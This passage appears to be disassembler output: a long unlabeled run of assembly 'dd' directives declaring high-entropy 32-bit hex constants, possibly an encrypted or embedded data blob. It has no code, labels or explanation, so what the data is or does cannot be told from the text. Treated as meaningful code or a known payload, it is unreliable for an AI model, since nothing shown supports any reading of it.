		dd 5A74F61Dh, 0AC14BC6Dh, 1F5EB4B0h, 1D2352E3h,	0D37D5A78h
		dd 0CAE28DAAh, 2EDDAD1h, 0B9D72C90h, 523A2A73h,	52EA6A57h
		dd 0DC89C394h, 3860D389h, 0E33979A2h, 2E990C64h, 975A998Ah
		dd 0A767471Ch, 4DDE038Fh, 0AE304DE4h, 598E34DBh, 64FA2BBDh
		dd 2DA9484Fh, 0BEC20ECAh, 36B5EDBAh, 0BFD4CF24h, 8C79D28Bh
		dd 7D390ACBh, 1D3E29E5h, 72659465h, 4772D2D0h, 196EAD33h
		dd 9D7C2759h, 0E0A301A9h, 0EAA29D46h, 1F3F87D9h, 8764AD1Eh
		dd 39D09F7Dh, 495D18C9h, 0CCF6DA67h, 0DD234FD3h, 0DEAC4971h
		dd 5236DD0Bh, 6B3B10F7h, 226B7D9h, 6D8652CBh, 0FE93FAB6h
		dd 86F829FDh, 0FA113108h, 0CDABA191h, 5BF65C1Ch, 37C101EFh
		dd 7C08898Fh, 51DF04D1h, 0B2CBCA8Ch, 78CA92E5h,	0F8114FE2h
		dd 33819B49h, 0AAB47FE7h, 0E3A67FE1h, 5F260E1Ah, 0CEF386C3h
		dd 708F370Ch, 0E7103F21h, 8C706EC0h, 0C4798AA7h, 537F2D6Bh
		dd 20D2CA8h, 0A5264733h, 8C80BC4h, 135589B8h, 0C3C297E5h
		dd 0F8517D03h, 0D737AAAEh, 0AEAB1659h, 489AF785h, 0F67284C3h
		dd 85F23E19h, 0F5424689h, 78AD7D54h, 0CCA2D7D2h, 9B55D688h
		dd 7DF2FF83h, 15FAF045h, 0E885339Bh, 0D504372Ch, 0A6E26EDFh
		dd 4F3E201h, 2B4BCFCAh,	0A609FC80h, 0E12A2720h,	3FE89548h
		dd 0B0600E2Bh, 4FCF0892h, 0A864B360h, 1DA79964h, 9E98E354h
		dd 0ADE770D8h, 59B50500h, 16A2FC0Dh, 56085DDCh,	0F1E9445h
		dd 0D0CE163h, 0F8A4FFB2h, 7F32FC87h, 0DAF6DABDh, 2C0FD7D0h
		dd 0DB054C5Bh, 82E0F963h, 0E84F5989h, 767F524Ch, 7D166909h
		dd 4CFCA5A9h, 0C706A35Fh, 0CD6DC741h, 4CA33F43h, 5632AA89h
		dd 3136F560h, 9492F2D3h, 0C87C1C26h, 7F3E7D72h,	868B338Ah
		dd 61349F0Ah, 0B1F0C098h, 0B2B14C0Fh, 1B35594Eh, 0DECA8568h
		dd 28B4D40h, 37FBB26h, 52E1D72h, 162198DAh, 95E8F95Bh
		dd 0F84C74B7h, 4FEDF21Dh, 0E0ECABB1h, 0E73F4C8h, 3A3772CCh
		dd 0D929B3CFh, 0B5547C5Bh, 173D9630h, 0DF04ADA7h, 9B0096D7h
		dd 6702FD94h, 9C2F73D5h, 7846DED1h, 14AA9E11h, 32C87A9Fh
		dd 0DC2C683Bh, 2F98303Eh, 75FBD8E2h, 48E8FCE8h,	247CF815h
		dd 5F56E382h, 57261Eh, 0B7B6F401h, 0CA9F45E7h, 5277C4DAh
		dd 0FEECDA8Fh, 6AA86B2Fh, 0D3D6BF5Ah, 74778276h, 4D7DF341h
		dd 57E75086h, 0D3EAD32Eh, 0F7763A7Bh, 4ABB0BEDh, 654F437Bh
		dd 0B9052CB7h, 0A9E82460h, 0E747D463h, 33ECF595h, 0BF1CEFD4h
		dd 212458C0h, 43CF183Bh, 18AC8E43h, 7DA14F26h, 0E9F1E38h
		dd 7F6DF12Bh, 9A1EF66Dh, 4CFE79B1h, 0F0E8A5AAh,	4E7B337Fh
		dd 21C971B0h, 0E5FF28CAh, 31F04282h, 0D0A12D18h, 4BDE171Ch
		dd 9FCDFF8Ch, 2089E0DDh, 0C77E2581h, 4B6038BAh,	4B9A82B4h
		dd 5A559847h, 3133DA33h, 63765B15h, 0B3B530BDh,	0CC41A9FFh
		dd 0B8D57640h, 45FFA155h, 8253C533h, 3493C22Dh,	0A15B5C8Dh
		dd 79F565A5h, 35F58C2Dh, 0E87018A4h, 0BE5F48DFh, 71F8110h
		dd 0D53EDE74h, 4CE30BA5h, 4C7CABE6h, 8EF45242h,	53B59CC1h
		dd 7407DB10h, 3F1426CAh, 3B83923Ch, 2A87982h, 33141A03h
		dd 3A90F3AFh, 8B4659A8h, 0E5B0F33Bh, 0E203B00Ch, 8AC940AFh
		dd 1081893h, 992F217Bh,	26FD7F93h, 9A14D2Fh, 4500450h
		dd 26A9D561h, 2850B846h, 10673B36h, 7EABC43Eh, 9534020Ah
		dd 8B9D4883h, 0FD0D368Eh, 106B004h, 213DCD30h, 821A3A96h
		dd 0D1DA3B1Dh, 42E65EC0h, 0F10138D0h, 735656Fh,	36705FC7h
		dd 0B3C8A52Eh, 3BFF10C8h, 0DAD48208h, 0E871652Eh, 61F49083h
		dd 6A007F0Ah, 358CC847h, 0F4A817E8h, 0FCD95DA0h, 0EFFA927Ch
		dd 735E8F92h, 0CB077431h, 0F4EE8306h, 784AD22Eh, 5D6D8659h
		dd 4E196B7Dh, 789CB4CCh, 8E3756FDh, 0E9C06E93h,	0B068EF29h
		dd 0EEE50F2Dh, 23382B79h, 22133C4Fh, 0F9E2C9BDh, 14079ABAh
		dd 58AF615Dh, 2FDC3419h, 3F3F81ECh, 5BDD7499h, 669D47CDh
		dd 0EA61069Ah, 8D69172h, 0BDE64375h, 0B12C99BFh, 6AC4003Ah
		dd 77271AE0h, 9CCBBFF4h, 0D26A973Dh, 5DF90ACCh,	3F297B9Bh
		dd 516870F6h, 0EE7CA650h, 492E5429h, 394B71C5h,	0AE7EC25Bh
		dd 0B81D6A0Bh, 0F2A3E9A0h, 301625D4h, 0EB801FACh, 99041E24h
		dd 0BCBB18F4h, 7C847681h, 0B1281637h, 54960018h, 0D718FF99h
		dd 30ABB449h, 5BB8A5F8h, 33C7AB4Bh, 6EC57996h, 0ACFE5FA1h
		dd 1AEB0C2Dh, 1456E093h, 50278449h, 0A57EC7Ah, 0A8FF43BAh
		dd 9FB65E4Fh, 0FBD5BB83h, 848CA66Ch, 9A895D6Ch,	7FB11A15h
		dd 92A29DB2h, 15B150A1h, 11605F97h, 0B501AC32h,	4036B4EAh
		dd 0B01EE585h, 0A4EA2A2Ah, 1072CD41h, 179EE92Ch, 57F13C8Eh
		dd 0B079C5DEh, 0E782CD2Ah, 0FB6173F0h, 7AF59CC3h, 8EF3ED49h
		dd 7AFE867Dh, 9936ED45h, 9488EE57h, 30FFCE01h, 0BDF5BA95h
		dd 0CD251D84h, 0C5C888ECh, 19745F37h, 889B73F1h, 9A36D3A8h
		dd 62BB9ED3h, 0BF0C0FD9h, 9158C442h, 0B8ABA746h, 93D418C9h
		dd 17919CF5h, 0D8B2722Ch, 0B9F87A50h, 1963E313h, 645878D1h
		dd 0E065F363h, 37A1596Bh, 0FF6C2B64h, 2517A1BCh, 0E654971h
		dd 0AE2DBA52h, 9181DCDEh, 0CD1BBC05h, 0D7B9310Dh, 0F5F5891Eh
		dd 12EEC9Dh, 1D80E4CFh,	0E75E21Ah, 0BBC42D31h, 0F657B9E3h
		dd 0FC747028h, 692E9D44h, 0D1235B08h, 0DE71D005h, 0FBB2E6A5h
		dd 3EC9EFCEh, 0ABEB9988h, 0CB50D843h, 5AD9119Fh, 4C0D5982h
		dd 0A500B8D1h, 0A50B8EA4h, 9B57373Eh, 2FE42286h, 0C43880D7h
		dd 811D5FAFh, 4B2D2774h, 9BF5DD0Bh, 0A24812EAh,	0CC91112Fh
		dd 2E16FDF8h, 963DCEA3h, 0CB332F28h, 8A11DA6Bh,	0C7FD16FDh
		dd 397569Dh, 612D5155h,	5A94412Bh, 77DEEA1h, 0F5618E11h
		dd 5067835h, 61EEC01Bh,	0BC311F28h, 366078B4h, 0F3E5259Dh
		dd 0ACAA6EABh, 22778DF5h, 180E359Eh, 99173182h,	0DCC338Ch
		dd 4F5AC51Eh, 8EE79873h, 76141028h, 0FD0465DFh,	0B03BC756h
		dd 140027D3h, 0DED2843Ch, 0E5D693B9h, 0A55923B5h, 0BF7EA945h
		dd 0AC6A54B7h, 0CB2145F0h, 34AB16B1h, 0C254304Fh, 0A1EB1E6h
		dd 69672F84h, 7C3EDE8Eh, 10174C46h, 0FAD6ED2Ah,	0A4035ED2h
		dd 9E2F32F5h, 227524FCh, 0CAC20104h, 844789CBh,	9EB77261h
		dd 0B350D112h, 215F9E4Ch, 81548DBAh, 8213EBAh, 7FACB6C6h
		dd 0DD4D7C94h, 5724F1E5h, 0F2354B13h, 0CA3D163Ch, 139130FFh
		dd 6CEC5A1Ch, 0C08B943h, 0B26A12B0h, 2849A0C2h,	0E51BCC15h
		dd 641B51B8h, 39B1B673h, 0A8AB5454h, 8990E2EAh,	73A0C8E1h
		dd 0FBF67664h, 0E5DF8EFh, 882DFFA7h, 59AD5761h,	0C99D86E7h
		dd 7F00B525h, 0E1695074h, 0C69A05F1h, 9470D28Ch, 4ABA0744h
		dd 0C1B6F921h, 0CB66177Fh, 0B83B207h, 20B5EC81h, 0F5F04B38h
		dd 0B243F4D3h, 78D6F8FDh, 204DEA56h, 9B853D3Bh,	27E7DFDFh
		dd 71764F0Bh, 942C7512h, 9340E068h, 14FABEA4h, 29401A04h
		dd 9A3A1B20h, 84DBECE6h, 16E7A945h, 0F9C35C47h,	7359DC3Ch
		dd 0E748FAB9h, 8358E868h
		dd 9759A440h, 50F7924Dh, 0D7C4A8ABh, 4FDE7CEAh,	32774741h
		dd 4DF415D3h, 841F6CADh, 8E814FB3h, 878D0348h, 4E6B98BDh
		dd 0FE00B6C5h, 15DEF52Ch, 0BF1B79A3h, 26E19950h, 0EFD4AABh
		dd 0DF4762F4h, 0A10CC6C7h, 5C126F70h, 8A1AF654h, 0D2DB7C3Ah
		dd 7F93773h, 1727561h, 9057147Eh, 1089849Dh, 0DA600CBFh
		dd 132E1380h, 52E876A0h, 13D603BBh, 0C0C4E58Eh,	0FCF9527h
		dd 0A2AFF68Fh, 1AF66A02h, 751C8540h, 56E52F65h,	0E2546D5Eh
		dd 0EF27728Dh, 20F61210h, 1037E415h, 0D29DCAA2h, 3F8B655Ah
		dd 5F111188h, 5165361Ah, 70DFC1EDh, 0E9436E62h,	11D1FD6Eh
		dd 0E92FBF45h, 0CED63FFCh, 558A632h, 67B2EA54h,	14450C2Dh
		dd 1729ADEAh, 6A293F6Bh, 32DD2A85h, 983E908Bh, 0EA67149Ch
		dd 2C85549Dh, 9C8C7554h, 0B48A8DB9h, 94E7C328h,	0F068C6D0h
		dd 0D419158h, 0C863AD28h, 0A248F8E0h, 0BE993482h, 886870B5h
		dd 0B38670DFh, 643C3E69h, 99A4899Bh, 0CA0C6528h, 609B6894h
		dd 4698A685h, 0C01A8797h, 981DC1E0h, 3A71F00Fh,	1C4BE17Dh
		dd 385CC227h, 5FAE8002h, 0F6D74B12h, 13E32748h,	59868249h
		dd 0C70E8699h, 0E2B5AB13h, 37F77DAEh, 2ED84C2Ah, 0F53C9FCBh
		dd 28DDFC65h, 23CD493Eh, 3E7EEE1h, 0C681E2ABh, 8505E3B5h
		dd 0F0B2C02Ch, 0D3675DF3h, 0F3138EB8h, 3F67895Fh, 94CDA99Eh
		dd 0CFE15514h, 0ED44144Dh, 1E2A723Eh, 62F7CAA2h, 65F50701h
		dd 0BBE225BCh, 473EA6EBh, 95B9A424h, 28B3BA3Dh,	75247D90h
		dd 2953B8BAh, 61936A0Ah, 0A81E7F3Eh, 0B8F91E14h, 0A1CBB33Ch
		dd 0C64A18D7h, 74DA5E78h, 3042D512h, 10D858E5h,	9509B719h
		dd 8624FEECh, 0B54FE418h, 86A876FEh, 0E5ED3FC2h, 304A3F96h
		dd 2E7A33A4h, 0D57BA20Bh, 0A6E09907h, 24B4FF9Dh, 0D3C02671h
		dd 0ED0EC61h, 0B43B13Ch, 0AF859E93h, 0E2DBF38Eh, 33EE0384h
		dd 0B16364C5h, 17576C1Fh, 0D3CF67BCh, 83696E88h, 3BFC487Dh
		dd 0BAB4ED67h, 47D6E1ACh, 9F3CF481h, 0E8C78781h, 0B8E21440h
		dd 1D6D378Eh, 5A3FB3A9h, 2460A48h, 0E95DA094h, 772C9D35h
		dd 2D0499h, 9109E16Ah, 79501555h, 37613505h, 0A183E168h
		dd 0A5C810D8h, 6CDDA68Dh, 2C57762h, 6BD270F6h, 1A2F3519h
		dd 0C72DD269h, 72D46203h, 5FAD31C7h, 0FF84523h,	0EE6D04BBh
		dd 4CE2FFEBh, 0DA5897B8h, 0E37384CDh, 7F013A0Ch, 162E5020h
		dd 910DD617h, 528FFFB2h, 28A8EAA5h, 8CE790CCh, 8B73F217h
		dd 9582909Dh, 58789808h, 0D4EE96AFh, 0BBF871E0h, 6972C6B1h
		dd 0DC5ACC6Fh, 20AD4BF0h, 0EA3C5A86h, 0EDA114Eh, 0AC470ACh
		dd 5DB8BCh, 0DE0A6B6h, 0FD074855h, 2CBB1BFEh, 6CF46FA4h
		dd 0C1814F00h, 0B7ECE97Fh, 441C5FB0h, 85A0BF46h, 0CCA5F97Bh
		dd 0DFD89DFEh, 0C1EBE8B2h, 60947A44h, 0FE4999FFh, 2AA42E74h
		dd 2C56ABFCh, 4B03659h,	0A017A286h, 0ED1E565Dh,	597A59ACh
		dd 0AFCF7953h, 0DE9020FEh, 6CFC654Ch, 29A1E2A8h, 307E4043h
		dd 5EA7BC54h, 25828805h, 6296946Eh, 7D4695A9h, 5D9BE389h
		dd 0AC281F83h, 0D729A720h, 432563Fh, 8E3A1FAFh,	0C28EC7F6h
		dd 0E3D44FD5h, 7B5B1606h, 0DAC18E78h, 14F89100h, 3FB2104h
		dd 580DD09Ah, 4C72F296h, 82F4CD4Dh, 0B1015BE2h,	50E541A1h
		dd 9FAA5B0Dh, 0A5539EEBh, 4E2105C9h, 0D026E4CFh, 962E4B91h
		dd 1EF32443h, 0D9AFC7A3h, 1F71570Ch, 0E58283B7h, 27C75CCh
		dd 1011C262h, 0B2053C03h, 0BF24AFC9h, 826F18CFh, 0B6CDD841h
		dd 0F3527F88h, 1E4CF28Dh, 0C1CBFEBh, 3C0A851h, 443E2B79h
		dd 81DD871Ch, 0F09649CDh, 4BA47786h, 9048FC80h,	7DC11053h
		dd 835DCF1Eh, 53A2FA48h, 0FD25E4C6h, 940A93AFh,	75778B2Eh
		dd 6763CA69h, 615A767Eh, 0A25EEE42h, 0EBD145E8h, 0D43454B9h
		dd 0FC6C38Ch, 58AABE5Fh, 0A5C4BDA7h, 74EB7B43h,	270A5F77h
		dd 7E90253Fh, 7BDAC670h, 2AA673C2h, 38E8C158h, 0E1E62DFAh
		dd 0CF82ADE5h, 0C5CA7331h, 7E4BCC9Fh, 79640F71h, 0E8613C87h
		dd 7B6A3690h, 74E26A3h,	0F46A59F9h, 1B577E9Ah, 5DC620FFh
		dd 0C27565A9h, 89AFC83h, 0B48B2F8Fh, 667257A8h,	0F211FA0Bh
		dd 70E04BF1h, 0A3B3D1E6h, 32A5C8C8h, 3F56E95Bh,	68D924A8h
		dd 0BC4E8DFCh, 6A8CDA0Ah, 7DA4C36Ch, 61B8BB22h,	35C45826h
		dd 6B8B9F0Eh, 0E1116BEh, 70D1D9EAh, 8C24DEA2h, 78A2A998h
		dd 94BCA43Ch, 0FCF23FFAh, 1A75775h, 0F4ADEFE2h,	648CAF2Dh
		dd 0A0DD0614h, 2738A04Ah, 56DC9940h, 3D3C0C7Dh,	5B30A798h
		dd 46F8E071h, 4AFA4903h, 0B708C6DCh, 0C0D1E27Ch, 0AD4F3E37h
		dd 0B1CE6E3h, 325EEB4Fh, 78E3F5C5h, 1C18FE25h, 0E619B6F7h
		dd 286DAD0Ah, 0CE2CCB02h, 0DE779E8h, 29CE2A7h, 200ADEF5h
		dd 142CFD33h, 1A3DD0B1h, 8ADC033Dh, 101BE242h, 9DEDD15h
		dd 2DA03133h, 0A32F5A94h, 5B351811h, 0CF10A598h, 0C4CE6C95h
		dd 13E0681h, 727E01BEh,	799FADC2h, 0ADD010B3h, 5E7B7522h
		dd 0B6F300C8h, 7D5E087Fh, 929DB222h, 0AF15CEFCh, 74E27AD1h
		dd 31D31B9Dh, 0BAA409D8h, 0FC9EE4CEh, 0BEA1BD43h, 0D6957FDh
		dd 0AE550B50h, 6CC2D38Ch, 63557BD5h, 0D845AEDCh, 0B47C25CCh
		dd 934E9AB5h, 962D8CC4h, 58DF6A2Dh, 59D727ECh, 0BC596DC7h
		dd 87C23F26h, 0AFDFA63Eh, 0AB729DE5h, 0CFEF619Bh, 79792F37h
		dd 936345E3h, 0E1954B61h, 3FE40080h, 0A51A99EFh, 0B6362B3Bh
		dd 272D5486h, 0A61A0F53h, 0F654F7DBh, 75678512h, 0D987822Ch
		dd 0B71AD3EBh, 2BD3950h, 0FA7EBEB8h, 54A501B5h,	67FB31B3h
		dd 0AE943B78h, 7619ADDFh, 388F39ACh, 0C4812F70h, 0AE8DF9E8h
		dd 20E1DE88h, 49661F1Ch, 1A4586A6h, 0AE351D97h,	0D02C5B2Fh
		dd 0CF6FB24h, 0FC689591h, 75EBB70Bh, 93125C7Bh,	0A8A2E8h
		dd 8ED700C1h, 9EF016DCh, 0DC76C972h, 856A5E77h,	0EE5ED569h
		dd 3F559720h, 0B149C60Ah, 503984F7h, 0DEC19360h, 0E5783EBEh
		dd 0E419B577h, 0BF61B62Eh, 6DC1940Ch, 0DCDC02Eh, 4384725Eh
		dd 0E2639328h, 0F2A1AD28h, 0B928A69Dh, 6E7496B3h, 0D7E31DA1h
		dd 81B1FDAAh, 8ACED080h, 37DCD684h, 0AE4C6895h,	0BE8E4788h
		dd 0B9EF349Ch, 0A73C48FFh, 87CF33BBh, 305C3CAh,	3A1940EBh
		dd 0DDAE1372h, 6AC54A94h, 853D7165h, 51D94C99h,	3A1B65ABh
		dd 28C12B9Fh, 7A69E5ECh, 99855C10h, 69489AF9h, 0A8632A86h
		dd 0F78FD19Fh, 6BFA9194h, 0AFAC6682h, 0AB9CCA93h, 19EBD6FBh
		dd 0EB0B94AFh, 7FA4DA45h, 6EB68437h, 987BEF65h,	5FE6CA1Eh
		dd 4316CBECh, 7255C11Bh, 65433EB6h, 5EC93B27h, 0AA74127Fh
		dd 25EF3FCFh, 0D35D265Ah, 0F5E7AC04h, 2E520DF6h, 2B62388Ch
		dd 0A123F671h, 0B1208B43h, 595CAF54h, 0F5C2B4FEh, 0F445C950h
		dd 4E39925Ch, 70CFBC72h, 0E584B337h, 0B60EF3F6h, 13083AF8h
		dd 0A1378D9Bh, 3CA12DF1h, 0B0AFE33Dh, 5DA24BB7h, 0A717627Bh
		dd 5E9F663Fh, 33E77D40h, 856C261Dh, 8CA35979h, 9D6B37D0h
		dd 8F89BEFDh, 0EE2C6863h, 29CDBE70h, 1AFD6DF8h,	0D97127Fh
		dd 7EFB708Eh, 83BC210Dh, 7BF27EF4h, 0A4A61CDEh,	0DCBE0909h
		dd 0D85CA53Ah, 8BF9407Ch, 0B45F2736h, 9D10745Bh, 0C61F85C7h
		dd 0E52E77Ah, 0F9D33CBh, 6966928h, 21F51EF1h, 0FD5AEC2Bh
		dd 0A622B2C4h, 368F444Ch, 0BAFD0B17h, 70D9763Fh, 0B955124Fh
		dd 1ECD0386h, 5463E888h, 0C1FC623Bh, 66B5FB91h,	1DDD46Dh
		dd 0FDA03AB9h, 0BE27F212h, 62075194h, 19B2725Fh, 0C6AA3B6Ah
		dd 0FA9D32DAh, 59D57843h
		dd 70B18C8Dh, 8DA59E67h, 7359D91Eh, 45F23366h, 4AB918A2h
		dd 0F33D0EF8h, 4092BA90h, 0A421E947h, 0D73ACD30h, 383747CFh
		dd 97A057F6h, 6AC04h, 8A95A5DFh, 696EACD0h, 0A76198A5h
		dd 7F7B9804h, 0E24FA53Fh, 527B6BD5h, 0ADB23791h, 10E99837h
		dd 0F1F921E4h, 64CB4D4Eh, 8512A0ADh, 0CCEE94ECh, 5459823Fh
		dd 2647A387h, 0BC140AC3h, 0BA646743h, 0D5AFBC2Dh, 929BAF72h
		dd 7B73F9CEh, 263F6F0Eh, 2CACAA7Fh, 0E264BCF4h,	14501388h
		dd 4C6F2026h, 2D800D00h, 2704D8FEh, 8991498Eh, 45E6D710h
		dd 536812B0h, 6396F551h, 70C5EC90h, 846834B4h, 0B2AA77E2h
		dd 432FDD37h, 0E6976014h, 0E0192DCh, 0CC344AC1h, 0E15921CCh
		dd 4880EEA4h, 6B209627h, 4CCC198Eh, 1B7E2521h, 21EA61D2h
		dd 7C09AF2Fh, 0D72D45Eh, 480C4F0Ah, 691D332h, 486B7935h
		dd 913D2F3Bh, 0E8AAB64Eh, 0D5068FC3h, 0AA91A3A4h, 23616D5Fh
		dd 10D27DF4h, 0FC607CBFh, 2CBDDA4Ch, 468B154Ah,	0BC09BE3Fh
		dd 0F4D5AF6h, 0D2EAD76Dh, 0D00CDE03h, 73403E6Fh, 0E4101A67h
		dd 26D8BC80h, 0A444690Ch, 785291A9h, 92FA9475h,	6BEF77D7h
		dd 0CAD81B6h, 5E2A57EDh, 59BA3A5h, 0C87C2D03h, 0CAC3A451h
		dd 22ED42Ah, 99A88F7Fh,	0DA036016h, 0C97DB1DFh,	0F9261083h
		dd 0C7F696E8h, 5C517F02h, 88BA579Ch, 9E463A60h,	0E24726E2h
		dd 0C9B79594h, 0A9CEC014h, 0DC3FBB09h, 0EB3C1CB2h, 303426C6h
		dd 3AA7540Eh, 0B8428888h, 0E01AF320h, 6A64181Bh, 330AA01Dh
		dd 0E84CF573h, 0D985CF6Dh, 88F81C22h, 22FC6EB2h, 0A1AE16A1h
		dd 5CC90DD6h, 685F87Eh,	706ADD4Fh, 0EB0310BEh, 0E0EA8979h
		dd 0B4FCCFEDh, 78389020h, 9A89CEBCh, 0FF0D1B5Ah, 0D31AEC9Eh
		dd 0C1A5A41Dh, 62C1D4C7h, 46152B87h, 58429979h,	0D7B170D8h
		dd 0EFF4D210h, 0C3035431h, 9A4FA490h, 0C6977A37h, 32637CB2h
		dd 0EC5093BCh, 3AB9D9A7h, 0A555698Fh, 0DE20CAABh, 0DF652374h
		dd 1FB06C8Ah, 0C6C146ECh, 0D6D45B0Ch, 0B1E4B059h, 0F8B612A4h
		dd 6D4D7E0h, 93A7D652h,	0AD409609h, 5C4732E7h, 2E57C498h
		dd 0F199247Fh, 4ABA5367h, 7F8F2929h, 0A27575ECh, 145EBB00h
		dd 0E6D3C022h, 0AB350AA2h, 0B9651C9Fh, 3EF26808h, 0EA216D1Eh
		dd 9FCF4DD4h, 0C01433FEh, 0C83F7E98h, 7D6C79ECh, 785E861Eh
		dd 0D7ABDE88h, 635B6859h, 0EED9A8B6h, 0A25864D7h, 0E45C9294h
		dd 0A66C983Ch, 996215A2h, 204B126Eh, 0A8484073h, 15E61EABh
		dd 637DD35Bh, 7BC129E4h, 0D29FCF85h, 48AC6F45h,	3E422ED9h
		dd 0FB9B1436h, 65AA0E89h, 35F41149h, 9A7F4FEEh,	0FA2FAFC4h
		dd 769340FCh, 0DB9D0644h, 0DA3235F8h, 8C9C84F2h, 97ED889Eh
		dd 1A241F89h, 9EA7572Eh, 747A4F88h, 9C4DFBB1h, 0D74703A8h
		dd 0DF8C931Ch, 8D19E6EDh, 64B868BCh, 9070EC49h,	0C6652F19h
		dd 308054B9h, 96116CDBh, 3F08DD3Ah, 401CE3BEh, 33A95E6Eh
		dd 36A6F0E1h, 4DFD97Ah,	6FEF02F8h, 6E411A95h, 5A2F6268h
		dd 8843E90Fh, 0D0F2AEA4h, 2B001B6Fh, 5E559B11h,	218DB358h
		dd 0DBBC9BFh, 0AC4E3EA7h, 685E785Fh, 733F0AADh,	81439BA2h
		dd 0F4C7B861h, 0D918CEEh, 18E73248h, 0E6B4123Eh, 6FE01949h
		dd 0C059BABFh, 8472386Bh, 17D30FB3h, 44B574CBh,	3A902DDFh
		dd 8192013h, 7D08E35Dh,	0C84DA338h, 85D705E2h, 4BB0F2E5h
		dd 2282C560h, 3DB2A3B3h, 118B22EEh, 0D0B7FE9Ch,	39C7886Eh
		dd 3BC25F8Ch, 59ED90F4h, 0B1D3B3BCh, 3E0205CBh,	0FCD312B6h
		dd 0D29C4479h, 1AF7E57Ah, 0CA7B75B0h, 54C12ECh,	2D3206F6h
		dd 8C72DADh, 0AB029159h, 8AB90119h, 54E198F3h, 2D2B0933h
		dd 0A4653021h, 8016283h, 506B4E02h, 0E8520F9Ch,	576A264h
		dd 8DE7328Ch, 2CBBC4DEh, 9A7C499Fh, 2ACF6DC1h, 81F6978Eh
		dd 0F9053288h, 0FE878D82h, 0ACC531ACh, 203393Fh, 0B2CFFE4h
		dd 0E4232A03h, 5070C74Dh, 6DFA7780h, 2AA9708Fh,	0F7B384AEh
		dd 0CD5BE962h, 0E714087Bh, 570C30BDh, 0A99BAAE2h, 0CE5C3BEFh
		dd 94FEB229h, 915C571Ch, 6ABD2E19h, 0D91F7E74h,	337C09F3h
		dd 1760C497h, 2A4C1D04h, 0C745AE52h, 31D2CF32h,	0E966DBEFh
		dd 0A5FE9A43h, 591FCB94h, 12B115A3h, 0A5BB73ABh, 20EE0B4Fh
		dd 0AA5AE791h, 57ADCD19h, 377FBD2Ah, 65D425EDh,	2458B5AFh
		dd 0A7E5FB01h, 0C9058717h, 0DE004D15h, 198811F1h, 1B46C4C1h
		dd 810206A2h, 0CEC23C84h, 0A2E83AA7h, 9B9B474Bh, 191EE10Bh
		dd 971BF3E9h, 0B2930FE6h, 5BF46385h, 4B3C23B4h,	0C62D5412h
		dd 4E5F9AF5h, 0E097EAA5h, 0EDF43329h, 5C5BDB51h, 66AA39FAh
		dd 8A87DED1h, 5A56C643h, 32ACFD42h, 251CE3E5h, 0FF4E9829h
		dd 0E2BE9E05h, 0FAC14ACh, 0F23188A7h, 0E0BA270Bh, 22D4903Ah
		dd 0B5A82F89h, 89C7E661h, 585DFDA0h, 93E3E58Eh,	0E66BDA15h
		dd 18CE33CBh, 0BB84A68Ah, 14CA4FAFh, 1C2CEDA2h,	78431D9Bh
		dd 37D3E852h, 50FB7396h, 8296F5BDh, 19B1224Ah, 0FB27D1AAh
		dd 96FF69A9h, 24966761h, 30A1370Eh, 0F20E2D9Bh,	0A420595Ah
		dd 9F727C6Fh, 0EA63E3F4h, 0B7C2CCAFh, 4C6842F7h, 0E43939F5h
		dd 3A858E24h, 0FC883DFAh, 53C49B53h, 0D0E9EAABh, 3D739063h
		dd 8C1887EBh, 5BFAFCD7h, 0A9F2CA8Bh, 7940F15Eh,	2C216B80h
		dd 305E23D2h, 0EC25C7CFh, 662A86BFh, 1F4C825h, 412442Bh
		dd 7DDFC9EFh, 0A0EE35AEh, 3BEFAA54h, 180BC8CCh,	809A2243h
		dd 971E9EA6h, 55A8E92Bh, 92DCA949h, 3A27D47Bh, 0F9851F76h
		dd 568C8696h, 57F460C1h, 0F4A793B1h, 0C4C59CF7h, 0D68C9CD2h
		dd 4B39E826h, 292474FBh, 40D30789h, 908CC646h, 3467DAEh
		dd 48C4CDE0h, 983DDDFAh, 671828C0h, 98D53AA3h, 3217882h
		dd 0FF0C6E32h, 0D1D3D1FAh, 7986D145h, 0F024BB22h, 93F5C4E3h
		dd 2FFA836Dh, 0BC87F059h, 82241DEEh, 76406FD0h,	0F8F07A23h
		dd 4048B481h, 8B3FF560h, 25983683h, 4BDDCEB9h, 0AC8FB828h
		dd 7C476CF9h, 263F09F5h, 0E6FF2B9h, 67BCE7BCh, 0DE3A400Fh
		dd 0BDEB8039h, 63480864h, 78861E6Eh, 1C7DC4CFh,	4728336Eh
		dd 59789909h, 0A7A67520h, 0B4FABEE8h, 35F11FD3h, 8861A626h
		dd 0C6F9F8B5h, 88EAC4FCh, 1EF97A85h, 4296E652h,	6693AD0Eh
		dd 36A5E93h, 9838CA49h,	54E21248h, 28820D0Ah, 5C481ED1h
		dd 3B94355Fh, 0F324BF8Bh, 0CF159299h, 8FA6F094h, 0BC94ED8Bh
		dd 7D7392A2h, 5F0721B0h, 123E77DCh, 0CC9DDBA7h,	973E2568h
		dd 2942F0F1h, 25686FBAh, 0C9F389E8h, 4FCAAD97h,	0AA77872Bh
		dd 9ADB4DBFh, 3D9114D2h, 0A932C532h, 0E139AB0Ch, 67607DDDh
		dd 44EA7904h, 3039EE02h, 8D72F5A7h, 6825F2B3h, 0B3D950EAh
		dd 0D9B80CF3h, 0C2496D8Dh, 0A91DB013h, 0C08869F3h, 7005FBADh
		dd 0D39D109Ah, 55FC0964h, 21CDA00Bh, 179EC1B6h,	0C9501B40h
		dd 0DA0D034Ch, 0B2E67FC2h, 0E2643838h, 1C34D3BEh, 32F6E4FEh
		dd 794F8A00h, 8893F31Ch, 7E385AAEh, 1CC8EA0h, 99A7142Ah
		dd 5FA7D660h, 76226486h, 0DD8265Ah, 0A82D4636h,	317DF7Ah
		dd 7B2F91FCh, 42DE7CFh,	890CAAC1h, 0BF8B772Ah, 4CAD057Bh
		dd 0B278D5F9h, 6644A6E3h, 0B9ABB5B0h, 5BF1CD1Ch, 0FC0B562Ch
		dd 60ECC407h, 0C2198BD3h, 653FE7C5h, 0C3443995h, 52A36987h
		dd 75209F02h, 6056732Ch, 8947F538h, 5EEAFBA8h, 37F8144Eh
		dd 5D4A8B9Bh, 0F4DA1137h, 1F6DAA6Bh, 12A21F13h,	4F01AB90h
		dd 0C0C4461Ch, 754EE008h, 97ECE3EDh, 0D80DC1BCh, 0CD2315E3h
		dd 0FE200973h, 5145271Eh
		dd 3E6B0CADh, 527D494Dh, 0A600C800h, 120CCB68h,	3C193285h
		dd 6167403Ah, 0C7EAC36Ch, 0BD2E0589h, 2911C6E7h, 0A09A6F7Ah
		dd 0D10AB2EEh, 1F0B51F8h, 1D3977A7h, 8CD8454Ch,	0AA0270B0h
